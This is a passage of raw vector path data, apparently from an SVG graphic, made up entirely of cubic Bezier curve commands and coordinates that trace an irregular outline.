153422.08 52538.39C153432.72 52591.93 153443.36 52645.46 153454.00 52699.00C153454.00 52731.00 153454.00 52763.00 153454.00 52795.00C153411.33 52848.67 153368.67 52902.33 153326.00 52956.00C153326.00 52977.33 153326.00 52998.67 153326.00 53020.00C153347.33 53073.67 153368.67 53127.33 153390.00 53181.00C153389.95 53213.46 153390.10 53245.94 153389.92 53278.39C153379.28 53331.59 153368.64 53384.80 153358.00 53438.00C153347.33 53459.67 153336.67 53481.33 153326.00 53503.00C153281.20 53524.95 153236.53 53547.15 153191.95 53569.53C153172.30 53579.35 153152.65 53589.18 153133.00 53599.00C153133.00 53620.33 153133.00 53641.67 153133.00 53663.00C153111.20 53673.67 153089.47 53684.55 153067.61 53695.10C153025.08 53706.07 152982.54 53717.03 152940.00 53728.00C152929.33 53738.67 152918.67 53749.33 152908.00 53760.00C152897.33 53802.67 152886.67 53845.33 152876.00 53888.00C152854.33 53909.67 152832.67 53931.33 152811.00 53953.00C152768.33 53963.67 152725.67 53974.33 152683.00 53985.00C152672.00 53995.67 152661.00 54006.33 152650.00 54017.00C152639.33 54060.00 152628.67 54103.00 152618.00 54146.00C152618.00 54156.67 152618.00 54167.33 152618.00 54178.00C152586.00 54210.00 152554.00 54242.00 152522.00 54274.00C152511.33 54338.33 152500.67 54402.67 152490.00 54467.00C152457.67 54488.33 152425.33 54509.67 152393.00 54531.00C152382.26 54563.44 152371.65 54595.95 152360.82 54628.36C152350.21 54649.57 152339.61 54670.79 152329.00 54692.00C152307.54 54692.05 152286.06 54691.90 152264.61 54692.08C152211.07 54702.72 152157.54 54713.36 152104.00 54724.00C152093.33 54745.67 152082.67 54767.33 152072.00 54789.00C152061.33 54799.67 152050.67 54810.33 152040.00 54821.00C152040.00 54842.33 152040.00 54863.67 152040.00 54885.00C152059.63 54904.52 152079.16 54924.15 152098.32 54944.14C152100.11 54946.27 152102.67 54948.08 152104.00 54950.40C152103.90 54961.19 152104.21 54972.02 152103.84 54982.78C152093.23 55035.85 152082.61 55088.93 152072.00 55142.00C152093.33 55217.00 152114.67 55292.00 152136.00 55367.00C152136.00 55388.67 152136.00 55410.33 152136.00 55432.00C152104.00 55432.00 152072.00 55432.00 152040.00 55432.00C152040.00 55442.67 152040.00 55453.33 152040.00 55464.00C152029.00 55485.33 152018.00 55506.67 152007.00 55528.00C152018.00 55581.67 152029.00 55635.33 152040.00 55689.00C152050.67 55710.33 152061.33 55731.67 152072.00 55753.00C152061.33 55785.33 152050.67 55817.67 152040.00 55850.00C152072.00 55914.33 152104.00 55978.67 152136.00 56043.00C152104.00 56096.33 152072.00 56149.67 152040.00 56203.00C152040.00 56224.67 152040.00 56246.33 152040.00 56268.00C152050.67 56278.67 152061.33 56289.33 152072.00 56300.00C152082.67 56343.00 152093.33 56386.00 152104.00 56429.00C152104.00 56450.33 152104.00 56471.67 152104.00 56493.00C152157.67 56546.67 152211.33 56600.33 152265.00 56654.00C152265.00 56696.67 152265.00 56739.33 152265.00 56782.00C152254.00 56792.67 152243.00 56803.33 152232.00 56814.00C152232.00 56825.00 152232.00 56836.00 152232.00 56847.00C152210.67 56857.67 152189.33 56868.33 152168.00 56879.00C152157.33 56889.67 152146.67 56900.33 152136.00 56911.00C152136.00 56921.67 152136.00 56932.33 152136.00 56943.00C152168.00 56975.00 152200.00 57007.00 152232.00 57039.00C152243.00 57082.00 152254.00 57125.00 152265.00 57168.00C152286.33 57189.33 152307.67 57210.67 152329.00 57232.00C152372.00 57232.00 152415.00 57232.00 152458.00 57232.00C152491.72 57249.38 152525.35 57266.91 152559.37 57283.69C152568.25 57288.13 152577.12 57292.56 152586.00 57297.00C152586.09 57307.93 152585.83 57318.88 152586.13 57329.79C152596.75 57393.86 152607.38 57457.93 152618.00 57522.00C152650.06 57554.28 152682.61 57586.06 152715.00 57618.00C152747.00 57618.00 152779.00 57618.00 152811.00 57618.00C152843.33 57661.00 152875.67 57704.00 152908.00 57747.00C152972.28 57768.49 153036.62 57789.82 153101.00 57811.00C153111.67 57811.00 153122.33 57811.00 153133.00 57811.00C153133.00 57821.67 153133.00 57832.33 153133.00 57843.00C153143.67 57864.67 153154.33 57886.33 153165.00 57908.00C153175.67 57918.67 153186.33 57929.33 153197.00 57940.00C153197.00 57961.33 153197.00 57982.67 153197.00 58004.00C153207.67 58025.33 153218.33 58046.67 153229.00 58068.00C153218.23 58111.25 153207.62 58154.54 153196.75 58197.75C153186.17 58229.50 153175.58 58261.25 153165.00 58293.00C153175.67 58304.00 153186.33 58315.00 153197.00 58326.00C153218.33 58315.00 153239.67 58304.00 153261.00 58293.00C153271.67 58304.00 153282.33 58315.00 153293.00 58326.00C153293.00 58336.67 153293.00 58347.33 153293.00 58358.00C153250.33 58400.67 153207.67 58443.33 153165.00 58486.00C153165.00 58518.33 153165.00 58550.67 153165.00 58583.00C153132.67 58636.67 153100.33 58690.33 153068.00 58744.00C153068.00 58754.67 153068.00 58765.33 153068.00 58776.00C153089.67 58808.00 153111.33 58840.00 153133.00 58872.00C153122.33 58904.33 153111.67 58936.67 153101.00 58969.00C153111.67 59001.00 153122.33 59033.00 153133.00 59065.00C153111.33 59075.67 153089.67 59086.33 153068.00 59097.00C153057.33 59107.67 153046.67 59118.33 153036.00 59129.00C153036.00 59140.00 153036.00 59151.00 153036.00 59162.00C153057.67 59172.67 153079.33 59183.33 153101.00 59194.00C153079.33 59236.67 153057.67 59279.33 153036.00 59322.00C153036.00 59375.67 153036.00 59429.33 153036.00 59483.00C153004.00 59526.00 152972.00 59569.00 152940.00 59612.00C152929.36 59676.47 152918.54 59740.92 152908.00 59805.40C152908.00 59826.60 152908.00 59847.80 152908.00 59869.00C152897.33 59901.00 152886.67 59933.00 152876.00 59965.00C152833.00 60018.67 152790.00 60072.33 152747.00 60126.00C152693.33 60147.33 152639.67 60168.67 152586.00 60190.00C152575.33 60233.00 152564.67 60276.00 152554.00 60319.00C152532.67 60340.33 152511.33 60361.67 152490.00 60383.00C152479.21 60383.06 152468.39 60382.87 152457.61 60383.10C152414.74 60393.73 152371.87 60404.36 152329.00 60415.00C152307.67 60415.00 152286.33 60415.00 152265.00 60415.00C152243.33 60393.67 152221.67 60372.33 152200.00 60351.00C152168.00 60351.00 152136.00 60351.00 152104.00 60351.00C152071.67 60383.33 152039.33 60415.67 152007.00 60448.00C151964.33 60469.33 151921.67 60490.67 151879.00 60512.00C151846.67 60512.00 151814.33 60512.00 151782.00 60512.00C151750.00 60490.67 151718.00 60469.33 151686.00 60448.00C151632.33 60437.00 151578.67 60426.00 151525.00 60415.00C151460.53 60425.98 151396.08 60437.13 151331.60 60448.00C151321.07 60448.00 151310.53 60448.00 151300.00 60448.00C151289.33 60469.33 151278.67 60490.67 151268.00 60512.00C151235.67 60533.33 151203.33 60554.67 151171.00 60576.00C151128.33 60586.67 151085.67 60597.33 151043.00 60608.00C150978.67 60597.33 150914.33 60586.67 150850.00 60576.00C150828.67 60619.00 150807.33 60662.00 150786.00 60705.00C150743.00 60694.33 150700.00 60683.67 150657.00 60673.00C150657.00 60705.00 150657.00 60737.00 150657.00 60769.00C150646.33 60769.00 150635.67 60769.00 150625.00 60769.00C150603.33 60779.67 150581.67 60790.33 150560.00 60801.00C150538.67 60801.00 150517.33 60801.00 150496.00 60801.00C150464.00 60790.33 150432.00 60779.67 150400.00 60769.00C150378.33 60779.67 150356.67 60790.33 150335.00 60801.00C150335.00 60812.00 150335.00 60823.00 150335.00 60834.00C150292.33 60812.33 150249.67 60790.67 150207.00 60769.00C150185.67 60726.33 150164.33 60683.67 150143.00 60641.00C150132.00 60630.00 150121.00 60619.00 150110.00 60608.00C150056.67 60586.67 150003.33 60565.33 149950.00 60544.00C149939.00 60533.33 149928.00 60522.67 149917.00 60512.00C149906.33 60479.67 149895.67 60447.33 149885.00 60415.00C149885.00 60404.33 149885.00 60393.67 149885.00 60383.00C149874.33 60372.33 149863.67 60361.67 149853.00 60351.00C149831.67 60351.00 149810.33 60351.00 149789.00 60351.00C149789.00 60361.67 149789.00 60372.33 149789.00 60383.00C149767.67 60383.00 149746.33 60383.00 149725.00 60383.00C149703.33 60361.67 149681.67 60340.33 149660.00 60319.00C149628.00 60308.33 149596.00 60297.67 149564.00 60287.00C149531.67 60254.67 149499.33 60222.33 149467.00 60190.00C149434.89 60179.26 149402.72 60168.65 149370.64 60157.82C149349.43 60147.21 149328.21 60136.61 149307.00 60126.00C149264.00 60136.67 149221.00 60147.33 149178.00 60158.00C149167.33 60147.33 149156.67 60136.67 149146.00 60126.00C149146.00 60115.33 149146.00 60104.67 149146.00 60094.00C149135.33 60094.00 149124.67 60094.00 149114.00 60094.00C149092.33 60104.67 149070.67 60115.33 149049.00 60126.00C148995.67 60126.00 148942.33 60126.00 148889.00 60126.00C148867.33 60147.33 148845.67 60168.67 148824.00 60190.00C148792.00 60168.67 148760.00 60147.33 148728.00 60126.00C148708.48 60145.63 148688.84 60165.15 148668.86 60184.32C148665.93 60187.28 148662.38 60189.79 148661.07 60193.93C148651.04 60214.29 148641.02 60234.64 148631.00 60255.00C148577.67 60265.67 148524.33 60276.33 148471.00 60287.00C148428.00 60319.00 148385.00 60351.00 148342.00 60383.00C148288.33 60372.33 148234.67 60361.67 148181.00 60351.00C148170.31 60361.81 148159.34 60372.42 148148.82 60383.36C148138.22 60404.90 148127.61 60426.45 148117.00 60448.00C148106.33 60448.00 148095.67 60448.00 148085.00 60448.00C148063.33 60437.00 148041.67 60426.00 148020.00 60415.00C148020.00 60393.67 148020.00 60372.33 148020.00 60351.00C147998.67 60340.33 147977.33 60329.67 147956.00 60319.00C147934.67 60319.00 147913.33 60319.00 147892.00 60319.00C147870.33 60340.33 147848.67 60361.67 147827.00 60383.00C147752.00 60393.67 147677.00 60404.33 147602.00 60415.00C147591.33 60426.00 147580.67 60437.00 147570.00 60448.00C147548.67 60448.00 147527.33 60448.00 147506.00 60448.00C147495.33 60469.33 147484.67 60490.67 147474.00 60512.00C147474.00 60555.00 147474.00 60598.00 147474.00 60641.00C147463.33 60662.33 147452.67 60683.67 147442.00 60705.00C147431.00 60705.00 147420.00 60705.00 147409.00 60705.00C147387.67 60672.67 147366.33 60640.33 147345.00 60608.00C147302.33 60608.00 147259.67 60608.00 147217.00 60608.00C147217.00 60629.67 147217.00 60651.33 147217.00 60673.00C147249.00 60715.67 147281.00 60758.33 147313.00 60801.00C147302.33 60822.67 147291.67 60844.33 147281.00 60866.00C147259.67 60866.00 147238.33 60866.00 147217.00 60866.00C147217.00 60833.67 147217.00 60801.33 147217.00 60769.00C147206.00 60769.00 147195.00 60769.00 147184.00 60769.00C147173.33 60779.67 147162.67 60790.33 147152.00 60801.00C147141.33 60833.33 147130.67 60865.67 147120.00 60898.00C147077.33 60919.33 147034.67 60940.67 146992.00 60962.00C146970.33 60994.33 146948.67 61026.67 146927.00 61059.00C146927.00 61112.33 146927.00 61165.67 146927.00 61219.00C146905.67 61219.00 146884.33 61219.00 146863.00 61219.00C146841.67 61229.67 146820.33 61240.33 146799.00 61251.00C146799.00 61294.00 146799.00 61337.00 146799.00 61380.00C146745.33 61444.33 146691.67 61508.67 146638.00 61573.00C146595.00 61573.00 146552.00 61573.00 146509.00 61573.00C146509.00 61605.33 146509.00 61637.67 146509.00 61670.00C146487.67 61712.67 146466.33 61755.33 146445.00 61798.00C146455.67 61830.33 146466.33 61862.67 146477.00 61895.00C146477.00 61905.67 146477.00 61916.33 146477.00 61927.00C146455.62 61948.47 146434.04 61969.78 146412.79 61991.34C146380.53 62044.89 146348.26 62098.45 146316.00 62152.00C146305.33 62152.00 146294.67 62152.00 146284.00 62152.00C146252.00 62130.33 146220.00 62108.67 146188.00 62087.00C146134.33 62108.67 146080.67 62130.33 146027.00 62152.00C146005.67 62152.00 145984.33 62152.00 145963.00 62152.00C145930.67 62162.67 145898.33 62173.33 145866.00 62184.00C145812.33 62237.67 145758.67 62291.33 145705.00 62345.00C145662.33 62355.67 145619.67 62366.33 145577.00 62377.00C145534.00 62398.33 145491.00 62419.67 145448.00 62441.00C145448.00 62451.67 145448.00 62462.33 145448.00 62473.00C145426.67 62473.00 145405.33 62473.00 145384.00 62473.00C145362.67 62494.67 145341.33 62516.33 145320.00 62538.00C145309.00 62580.67 145298.00 62623.33 145287.00 62666.00C145276.08 62666.10 145265.12 62665.79 145254.22 62666.15C145200.81 62676.77 145147.41 62687.39 145094.00 62698.00C145083.33 62730.33 145072.67 62762.67 145062.00 62795.00C145051.21 62805.72 145040.55 62816.60 145029.67 62827.22C144997.78 62848.48 144965.89 62869.74 144934.00 62891.00C144934.00 62901.67 144934.00 62912.33 144934.00 62923.00C144901.67 62976.67 144869.33 63030.33 144837.00 63084.00C144805.00 63094.67 144773.00 63105.33 144741.00 63116.00C144730.19 63127.02 144719.59 63138.34 144708.64 63149.18C144687.10 63159.78 144665.55 63170.39 144644.00 63181.00C144633.33 63181.00 144622.67 63181.00 144612.00 63181.00C144601.33 63223.67 144590.67 63266.33 144580.00 63309.00C144569.33 63320.00 144558.67 63331.00 144548.00 63342.00C144537.33 63395.33 144526.67 63448.67 144516.00 63502.00C144473.00 63502.00 144430.00 63502.00 144387.00 63502.00C144365.67 63491.33 144344.33 63480.67 144323.00 63470.00C144301.33 63427.33 144279.67 63384.67 144258.00 63342.00C144193.67 63363.33 144129.33 63384.67 144065.00 63406.00C144054.33 63395.33 144043.67 63384.67 144033.00 63374.00C143990.33 63363.33 143947.67 63352.67 143905.00 63342.00C143894.33 63363.33 143883.67 63384.67 143873.00 63406.00C143830.00 63427.33 143787.00 63448.67 143744.00 63470.00C143733.33 63480.67 143722.67 63491.33 143712.00 63502.00C143712.00 63512.67 143712.00 63523.33 143712.00 63534.00C143701.31 63545.14 143690.35 63556.10 143679.82 63567.36C143669.21 63588.57 143658.61 63609.79 143648.00 63631.00C143626.33 63641.67 143604.67 63652.33 143583.00 63663.00C143561.67 63652.33 143540.33 63641.67 143519.00 63631.00C143508.31 63641.81 143497.34 63652.42 143486.82 63663.36C143465.25 63706.70 143443.44 63749.92 143421.47 63793.07C143410.98 63814.04 143400.49 63835.02 143390.00 63856.00C143379.33 63866.67 143368.67 63877.33 143358.00 63888.00C143347.33 63877.33 143336.67 63866.67 143326.00 63856.00C143293.89 63866.74 143261.72 63877.35 143229.64 63888.18C143208.10 63898.78 143186.55 63909.39 143165.00 63920.00C143133.00 63920.00 143101.00 63920.00 143069.00 63920.00C143047.33 63941.67 143025.67 63963.33 143004.00 63985.00C142982.67 63985.00 142961.33 63985.00 142940.00 63985.00C142897.33 64017.00 142854.67 64049.00 142812.00 64081.00C142790.33 64070.33 142768.67 64059.67 142747.00 64049.00C142736.21 64048.92 142725.37 64049.17 142714.62 64048.87C142682.75 64038.25 142650.87 64027.63 142619.00 64017.00C142554.67 64038.33 142490.33 64059.67 142426.00 64081.00C142415.33 64091.67 142404.67 64102.33 142394.00 64113.00C142372.33 64113.00 142350.67 64113.00 142329.00 64113.00C142318.33 64102.33 142307.67 64091.67 142297.00 64081.00C142265.00 64102.33 142233.00 64123.67 142201.00 64145.00C142190.00 64177.33 142179.00 64209.67 142168.00 64242.00C142136.00 64252.67 142104.00 64263.33 142072.00 64274.00C142050.67 64295.33 142029.33 64316.67 142008.00 64338.00C141997.33 64338.00 141986.67 64338.00 141976.00 64338.00C141976.00 64327.33 141976.00 64316.67 141976.00 64306.00C141954.33 64295.33 141932.67 64284.67 141911.00 64274.00C141900.33 64274.00 141889.67 64274.00 141879.00 64274.00C141847.00 64306.00 141815.00 64338.00 141783.00 64370.00C141750.67 64359.33 141718.33 64348.67 141686.00 64338.00C141664.67 64348.67 141643.33 64359.33 141622.00 64370.00C141579.00 64370.00 141536.00 64370.00 141493.00 64370.00C141471.67 64381.00 141450.33 64392.00 141429.00 64403.00C141418.33 64424.33 141407.67 64445.67 141397.00 64467.00C141354.00 64509.67 141311.00 64552.33 141268.00 64595.00C141246.67 64584.33 141225.33 64573.67 141204.00 64563.00C141193.33 64563.00 141182.67 64563.00 141172.00 64563.00C141161.33 64584.67 141150.67 64606.33 141140.00 64628.00C141140.00 64649.33 141140.00 64670.67 141140.00 64692.00C141129.00 64702.67 141118.00 64713.33 141107.00 64724.00C141096.33 64724.00 141085.67 64724.00 141075.00 64724.00C141075.00 64734.67 141075.00 64745.33 141075.00 64756.00C141064.33 64766.67 141053.67 64777.33 141043.00 64788.00C141021.67 64788.00 141000.33 64788.00 140979.00 64788.00C140968.33 64799.00 140957.67 64810.00 140947.00 64821.00C140957.67 64842.33 140968.33 64863.67 140979.00 64885.00C140968.33 64885.00 140957.67 64885.00 140947.00 64885.00C140925.33 64874.33 140903.67 64863.67 140882.00 64853.00C140871.33 64853.00 140860.67 64853.00 140850.00 64853.00C140850.00 64863.67 140850.00 64874.33 140850.00 64885.00C140871.67 64895.67 140893.33 64906.33 140915.00 64917.00C140893.33 64927.67 140871.67 64938.33 140850.00 64949.00C140839.33 64949.00 140828.67 64949.00 140818.00 64949.00C140818.00 64981.33 140818.00 65013.67 140818.00 65046.00C140796.67 65056.67 140775.33 65067.33 140754.00 65078.00C140743.33 65099.33 140732.67 65120.67 140722.00 65142.00C140732.67 65163.33 140743.33 65184.67 140754.00 65206.00C140754.00 65217.00 140754.00 65228.00 140754.00 65239.00C140743.33 65239.00 140732.67 65239.00 140722.00 65239.00C140722.00 65228.00 140722.00 65217.00 140722.00 65206.00C140711.00 65217.00 140700.00 65228.00 140689.00 65239.00C140700.00 65260.33 140711.00 65281.67 140722.00 65303.00C140711.00 65324.33 140700.00 65345.67 140689.00 65367.00C140700.00 65377.67 140711.00 65388.33 140722.00 65399.00C140711.00 65409.67 140700.00 65420.33 140689.00 65431.00C140678.33 65420.33 140667.67 65409.67 140657.00 65399.00C140657.00 65420.67 140657.00 65442.33 140657.00 65464.00C140635.67 65474.67 140614.33 65485.33 140593.00 65496.00C140603.67 65528.00 140614.33 65560.00 140625.00 65592.00C140614.33 65613.67 140603.67 65635.33 140593.00 65657.00C140571.67 65667.67 140550.33 65678.33 140529.00 65689.00C140529.00 65710.33 140529.00 65731.67 140529.00 65753.00C140518.33 65763.67 140507.67 65774.33 140497.00 65785.00C140486.00 65785.00 140475.00 65785.00 140464.00 65785.00C140475.00 65806.33 140486.00 65827.67 140497.00 65849.00C140518.33 65860.00 140539.67 65871.00 140561.00 65882.00C140561.00 65892.67 140561.00 65903.33 140561.00 65914.00C140528.67 65924.67 140496.33 65935.33 140464.00 65946.00C140496.33 65967.33 140528.67 65988.67 140561.00 66010.00C140561.00 66020.67 140561.00 66031.33 140561.00 66042.00C140539.67 66053.00 140518.33 66064.00 140497.00 66075.00C140486.00 66075.00 140475.00 66075.00 140464.00 66075.00C140464.00 66107.00 140464.00 66139.00 140464.00 66171.00C140442.67 66192.33 140421.33 66213.67 140400.00 66235.00C140410.67 66245.67 140421.33 66256.33 140432.00 66267.00C140432.00 66278.00 140432.00 66289.00 140432.00 66300.00C140421.28 66310.79 140410.40 66321.46 140399.78 66332.33C140378.52 66364.22 140357.26 66396.11 140336.00 66428.00C140368.00 66449.67 140400.00 66471.33 140432.00 66493.00C140432.00 66503.67 140432.00 66514.33 140432.00 66525.00C140410.67 66525.00 140389.33 66525.00 140368.00 66525.00C140346.67 66546.33 140325.33 66567.67 140304.00 66589.00C140325.33 66621.00 140346.67 66653.00 140368.00 66685.00C140357.33 66696.00 140346.67 66707.00 140336.00 66718.00C140336.00 66750.00 140336.00 66782.00 140336.00 66814.00C140314.33 66857.00 140292.67 66900.00 140271.00 66943.00C140282.00 66964.33 140293.00 66985.67 140304.00 67007.00C140288.21 67037.80 140271.98 67068.38 140256.94 67099.56C140250.96 67111.71 140244.98 67123.85 140239.00 67136.00C140249.67 67168.00 140260.33 67200.00 140271.00 67232.00C140260.33 67253.33 140249.67 67274.67 140239.00 67296.00C140217.67 67296.00 140196.33 67296.00 140175.00 67296.00C140164.33 67317.67 140153.67 67339.33 140143.00 67361.00C140132.33 67371.67 140121.67 67382.33 140111.00 67393.00C140121.67 67414.33 140132.33 67435.67 140143.00 67457.00C140057.33 67532.00 139971.67 67607.00 139886.00 67682.00C139886.00 67746.33 139886.00 67810.67 139886.00 67875.00C139864.33 67896.33 139842.67 67917.67 139821.00 67939.00C139821.00 67971.33 139821.00 68003.67 139821.00 68036.00C139799.67 68057.33 139778.33 68078.67 139757.00 68100.00C139757.00 68143.00 139757.00 68186.00 139757.00 68229.00C139735.67 68239.67 139714.33 68250.33 139693.00 68261.00C139703.67 68282.33 139714.33 68303.67 139725.00 68325.00C139714.33 68335.67 139703.67 68346.33 139693.00 68357.00C139682.33 68357.00 139671.67 68357.00 139661.00 68357.00C139639.33 68368.00 139617.67 68379.00 139596.00 68390.00C139606.67 68400.67 139617.33 68411.33 139628.00 68422.00C139606.67 68432.67 139585.33 68443.33 139564.00 68454.00C139564.00 68486.00 139564.00 68518.00 139564.00 68550.00C139553.33 68571.67 139542.67 68593.33 139532.00 68615.00C139521.33 68625.67 139510.67 68636.33 139500.00 68647.00C139510.67 68689.67 139521.33 68732.33 139532.00 68775.00C139521.33 68807.33 139510.67 68839.67 139500.00 68872.00C139510.67 68882.67 139521.33 68893.33 139532.00 68904.00C139510.55 68936.08 139489.27 68968.29 139467.72 69000.28C139456.81 69011.19 139445.91 69022.09 139435.00 69033.00C139446.00 69054.33 139457.00 69075.67 139468.00 69097.00C139457.00 69107.67 139446.00 69118.33 139435.00 69129.00C139435.00 69150.33 139435.00 69171.67 139435.00 69193.00C139424.09 69204.13 139413.41 69215.51 139402.36 69226.48C139359.91 69258.32 139317.45 69290.16 139275.00 69322.00C139275.00 69332.67 139275.00 69343.33 139275.00 69354.00C139317.67 69375.33 139360.33 69396.67 139403.00 69418.00C139381.67 69439.67 139360.33 69461.33 139339.00 69483.00C139307.00 69472.33 139275.00 69461.67 139243.00 69451.00C139243.00 69461.67 139243.00 69472.33 139243.00 69483.00C139232.00 69483.00 139221.00 69483.00 139210.00 69483.00C139199.28 69504.60 139188.29 69526.08 139177.75 69547.76C139167.17 69579.50 139156.58 69611.25 139146.00 69643.00C139156.67 69654.00 139167.33 69665.00 139178.00 69676.00C139167.33 69686.67 139156.67 69697.33 139146.00 69708.00C139114.00 69783.00 139082.00 69858.00 139050.00 69933.00C139028.33 69933.00 139006.67 69933.00 138985.00 69933.00C138963.67 69943.67 138942.33 69954.33 138921.00 69965.00C138931.67 69986.33 138942.33 70007.67 138953.00 70029.00C138931.67 70029.00 138910.33 70029.00 138889.00 70029.00C138867.67 70040.00 138846.33 70051.00 138825.00 70062.00C138814.00 70104.67 138803.00 70147.33 138792.00 70190.00C138770.67 70179.33 138749.33 70168.67 138728.00 70158.00C138696.00 70190.00 138664.00 70222.00 138632.00 70254.00C138621.33 70254.00 138610.67 70254.00 138600.00 70254.00C138600.00 70265.00 138600.00 70276.00 138600.00 70287.00C138589.00 70308.33 138578.00 70329.67 138567.00 70351.00C138545.67 70361.67 138524.33 70372.33 138503.00 70383.00C138492.33 70404.33 138481.67 70425.67 138471.00 70447.00C138481.81 70457.69 138492.42 70468.65 138503.35 70479.18C138524.57 70490.12 138545.78 70501.06 138567.00 70512.00C138567.00 70522.67 138567.00 70533.33 138567.00 70544.00C138556.33 70554.67 138545.67 70565.33 138535.00 70576.00C138524.33 70576.00 138513.67 70576.00 138503.00 70576.00C138492.31 70586.81 138481.34 70597.42 138470.82 70608.36C138460.21 70629.57 138449.61 70650.79 138439.00 70672.00C138428.33 70683.00 138417.67 70694.00 138407.00 70705.00C138417.67 70715.67 138428.33 70726.33 138439.00 70737.00C138417.33 70747.67 138395.67 70758.33 138374.00 70769.00C138374.00 70822.67 138374.00 70876.33 138374.00 70930.00C138352.67 70951.33 138331.33 70972.67 138310.00 70994.00C138320.71 71015.60 138331.71 71037.08 138342.25 71058.76C138352.83 71090.84 138363.42 71122.92 138374.00 71155.00C138374.00 71165.67 138374.00 71176.33 138374.00 71187.00C138395.67 71208.33 138417.33 71229.67 138439.00 71251.00C138449.67 71283.33 138460.33 71315.67 138471.00 71348.00C138503.00 71369.33 138535.00 71390.67 138567.00 71412.00C138567.00 71433.33 138567.00 71454.67 138567.00 71476.00C138578.00 71497.67 138589.00 71519.33 138600.00 71541.00C138589.00 71562.33 138578.00 71583.67 138567.00 71605.00C138587.00 71624.30 138606.91 71643.68 138626.45 71663.45C138628.20 71665.47 138630.72 71667.18 138632.00 71669.40C138632.00 71701.60 138632.00 71733.80 138632.00 71766.00C138642.67 71766.00 138653.33 71766.00 138664.00 71766.00C138664.00 71787.33 138664.00 71808.67 138664.00 71830.00C138653.33 71830.00 138642.67 71830.00 138632.00 71830.00C138632.00 71894.33 138632.00 71958.67 138632.00 72023.00C138642.67 72033.67 138653.33 72044.33 138664.00 72055.00C138674.67 72087.00 138685.33 72119.00 138696.00 72151.00C138715.30 72171.00 138734.68 72190.91 138754.45 72210.45C138766.97 72222.97 138779.48 72235.48 138792.00 72248.00C138781.33 72258.67 138770.67 72269.33 138760.00 72280.00C138749.33 72280.00 138738.67 72280.00 138728.00 72280.00C138738.67 72312.33 138749.33 72344.67 138760.00 72377.00C138760.00 72409.00 138760.00 72441.00 138760.00 72473.00C138770.67 72473.00 138781.33 72473.00 138792.00 72473.00C138781.33 72505.33 138770.67 72537.67 138760.00 72570.00C138760.00 72591.33 138760.00 72612.67 138760.00 72634.00C138770.67 72655.33 138781.33 72676.67 138792.00 72698.00C138792.00 72719.33 138792.00 72740.67 138792.00 72762.00C138770.67 72762.00 138749.33 72762.00 138728.00 72762.00C138728.00 72773.00 138728.00 72784.00 138728.00 72795.00C138738.67 72816.33 138749.33 72837.67 138760.00 72859.00C138760.00 72869.67 138760.00 72880.33 138760.00 72891.00C138770.67 72891.00 138781.33 72891.00 138792.00 72891.00C138792.00 72912.33 138792.00 72933.67 138792.00 72955.00C138803.00 72955.00 138814.00 72955.00 138825.00 72955.00C138814.00 72976.67 138803.00 72998.33 138792.00 73020.00C138803.00 73030.67 138814.00 73041.33 138825.00 73052.00C138835.67 73041.33 138846.33 73030.67 138857.00 73020.00C138867.81 73030.69 138878.42 73041.66 138889.36 73052.18C138910.57 73062.79 138931.79 73073.39 138953.00 73084.00C138974.33 73084.00 138995.67 73084.00 139017.00 73084.00C139037.00 73103.30 139056.91 73122.68 139076.45 73142.45C139088.99 73155.11 139101.81 73167.57 139114.18 73180.36C139124.89 73202.00 139135.42 73223.74 139146.24 73245.32C139178.49 73287.88 139210.75 73330.44 139243.00 73373.00C139243.00 73405.33 139243.00 73437.67 139243.00 73470.00C139253.67 73470.00 139264.33 73470.00 139275.00 73470.00C139264.33 73480.67 139253.67 73491.33 139243.00 73502.00C139253.67 73502.00 139264.33 73502.00 139275.00 73502.00C139275.00 73512.67 139275.00 73523.33 139275.00 73534.00C139285.67 73544.67 139296.33 73555.33 139307.00 73566.00C139296.33 73576.67 139285.67 73587.33 139275.00 73598.00C139285.67 73598.00 139296.33 73598.00 139307.00 73598.00C139296.33 73609.00 139285.67 73620.00 139275.00 73631.00C139285.67 73652.33 139296.33 73673.67 139307.00 73695.00C139285.67 73705.67 139264.33 73716.33 139243.00 73727.00C139243.00 73737.67 139243.00 73748.33 139243.00 73759.00C139221.33 73769.67 139199.67 73780.33 139178.00 73791.00C139167.33 73823.33 139156.67 73855.67 139146.00 73888.00C139146.00 73898.67 139146.00 73909.33 139146.00 73920.00C139124.67 73930.67 139103.33 73941.33 139082.00 73952.00C139092.67 73973.33 139103.33 73994.67 139114.00 74016.00C139092.67 74037.67 139071.33 74059.33 139050.00 74081.00C139050.00 74102.33 139050.00 74123.67 139050.00 74145.00C139060.67 74166.33 139071.33 74187.67 139082.00 74209.00C139071.33 74219.67 139060.67 74230.33 139050.00 74241.00C139069.30 74261.00 139088.68 74280.91 139108.45 74300.45C139111.29 74303.36 139114.62 74305.92 139115.96 74309.91C139125.97 74329.94 139135.99 74349.97 139146.00 74370.00C139146.00 74380.67 139146.00 74391.33 139146.00 74402.00C139135.33 74402.00 139124.67 74402.00 139114.00 74402.00C139113.92 74412.79 139114.17 74423.63 139113.88 74434.38C139103.25 74466.59 139092.63 74498.79 139082.00 74531.00C139092.67 74573.67 139103.33 74616.33 139114.00 74659.00C139092.67 74691.33 139071.33 74723.67 139050.00 74756.00C139071.33 74766.67 139092.67 74777.33 139114.00 74788.00C139103.33 74798.67 139092.67 74809.33 139082.00 74820.00C139092.67 74830.67 139103.33 74841.33 139114.00 74852.00C139114.00 74863.00 139114.00 74874.00 139114.00 74885.00C139124.67 74906.33 139135.33 74927.67 139146.00 74949.00C139135.33 74959.67 139124.67 74970.33 139114.00 74981.00C139124.67 75002.33 139135.33 75023.67 139146.00 75045.00C139146.00 75066.67 139146.00 75088.33 139146.00 75110.00C139135.33 75142.00 139124.67 75174.00 139114.00 75206.00C139092.67 75216.67 139071.33 75227.33 139050.00 75238.00C139039.00 75248.67 139028.00 75259.33 139017.00 75270.00C139016.94 75281.13 139017.13 75292.28 139016.90 75303.39C139006.27 75345.92 138995.63 75388.46 138985.00 75431.00C138985.00 75441.67 138985.00 75452.33 138985.00 75463.00C138963.67 75495.33 138942.33 75527.67 138921.00 75560.00C138921.00 75570.67 138921.00 75581.33 138921.00 75592.00C138931.67 75602.67 138942.33 75613.33 138953.00 75624.00C138953.00 75677.67 138953.00 75731.33 138953.00 75785.00C138974.33 75806.33 138995.67 75827.67 139017.00 75849.00C139028.00 75881.33 139039.00 75913.67 139050.00 75946.00C139039.00 75967.33 139028.00 75988.67 139017.00 76010.00C139016.92 76020.79 139017.17 76031.63 139016.87 76042.38C139006.25 76074.25 138995.62 76106.13 138985.00 76138.00C138985.00 76159.67 138985.00 76181.33 138985.00 76203.00C138963.67 76224.33 138942.33 76245.67 